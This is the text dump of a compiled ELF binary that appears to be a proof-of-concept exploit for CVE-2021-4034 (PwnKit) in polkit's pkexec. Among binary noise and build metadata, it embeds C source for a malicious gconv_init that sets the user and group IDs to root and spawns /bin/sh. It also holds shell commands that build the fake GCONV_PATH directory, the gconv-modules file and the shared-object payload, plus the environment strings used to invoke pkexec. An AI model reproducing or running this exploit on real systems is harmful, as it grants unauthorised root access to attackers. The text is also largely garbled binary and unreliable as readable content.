ELF>@@=@8 @@@@@@88@8@@@ ``PX ``TT@T@DDPtdd d @d @<<QtdRtd``/lib64/ld-linux-x86-64.so.2GNUGNUUם"򔦥ԫ{arJ ,%f u libc.so.6fopenfputsfclosesystemexecve__libc_start_mainGLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableui >```` ` `(`0`8`HH HtH5 % @% h% h% h%z h%r h1I^HHPTI@Hp@HǶ@ f.H=9 H2 H9tH Ht H= H5 H)HHH?HHtH HtfD= uUHz ]Ðff.@UHHP}Hu( @ @ @ @HEHU HUHHHEHr @xHE @HE% @HE7 @HEF @HEHEHUHEHƿS @Sf.fAWIAVIAUAATL%t UH-t SL)HHt1LLDAHH9uH[]A\A]A^A_ff.HH#include #include #include void gconv() {} void gconv_init() { setuid(0); setgid(0); seteuid(0); setegid(0); system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh"); exit(0); }mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-moduleswpwnkit/pwnkit.cgcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPICpwnkitPATH=GCONV_PATH=.CHARSET=PWNKITSHELL=pwnkit/usr/bin/pkexec;8 |lThR | zRx /D0,$D`FJ w?;*3$"lAC  D@eFEE E(H0H8G@n8A0A(B BBBh@@ H@ @``o@@@ `x@p@` oP@oo8@`@@@@@@GCC: (GNU) 8.5.0 20210514 (Red Hat 8.5.0-3)GCC: (GNU) 8.5.0 20210514 (Red Hat 8.5.0-4) GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realignGA*cf_protection@@ GA*FORTIFYGA+GLIBCXX_ASSERTIONS GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realignGA$3a1@@GA$3a1@@GA$3a1@@GA$3a1H@^@GA$3a1@@GA$3a1@@ GA$3p965p@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realignGA*cf_protectionp@@ GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*cf_protection@@ GA*FORTIFYGA+GLIBCXX_ASSERTIONS GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realign GA$3p965@@GA$running gcc 8.5.0 20210514GA$annobin gcc 8.4.1 20200928 GA*GOW*EGA*GA+stack_clashGA*cf_protection GA*FORTIFYGA+GLIBCXX_ASSERTIONSGA*GA!GA+omit_frame_pointerGA*GA!stack_realignGA$3a1@@GA$3a1@@GA$3a1^@c@GA$3a1@@8@T@t@@@@8@P@ p@ @ H@ p@ @@@d @ @`````@`P`X= @M @a @u @ @ @ @ @ @  @% @= @Y @u @ @ @ @ @ @< @] @ @ p@ @ @ @ @2 @S @o @ @ @ p@ @ @  @=H @J @@] @sP`` @`= @```#d @6`L @\  @`xP`V@@` @@% p@eTX`5 @ @/MP`Y @^qP`} H`/ H@/usr/lib/gcc/x86_64-redhat-linux/8/../../../../lib64/crt1.o.annobin_init.c.annobin_init.c_end.annobin_init.c.hot.annobin_init.c_end.hot.annobin_init.c.unlikely.annobin_init.c_end.unlikely.annobin_init.c.startup.annobin_init.c_end.startup.annobin_init.c.exit.annobin_init.c_end.exit.annobin_static_reloc.c.annobin_static_reloc.c_end.annobin_static_reloc.c.hot.annobin_static_reloc.c_end.hot.annobin_static_reloc.c.unlikely.annobin_static_reloc.c_end.unlikely.annobin_static_reloc.c.startup.annobin_static_reloc.c_end.startup.annobin_static_reloc.c.exit.annobin_static_reloc.c_end.exit.annobin__dl_relocate_static_pie.start.annobin__dl_relocate_static_pie.endelf-init.oS.annobin_elf_init.c.annobin_elf_init.c_end.annobin_elf_init.c.hot.annobin_elf_init.c_end.hot.annobin_elf_init.c.unlikely.annobin_elf_init.c_end.unlikely.annobin_elf_init.c.startup.annobin_elf_init.c_end.startup.annobin_elf_init.c.exit.annobin_elf_init.c_end.exit.annobin___libc_csu_init.start.annobin___libc_csu_init.end.annobin___libc_csu_fini.start.annobin___libc_csu_fini.endcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7295__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrycve-2021-4034-poc.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTable_edatafclose@@GLIBC_2.2.5system@@GLIBC_2.2.5fputs@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5execve@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init_dl_relocate_static_pie__bss_startmainfopen@@GLIBC_2.2.5__TMC_END___ITM_registerTMCloneTableshell.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.got.plt.data.bss.comment.gnu.build.attributes8@8#T@T 1t@t$Do@N @V@^o8@8koP@P zp@p`B@xH@Hp@p`@@ @kd @d < @ ```` `@@`@P`P0PXX8, R @6<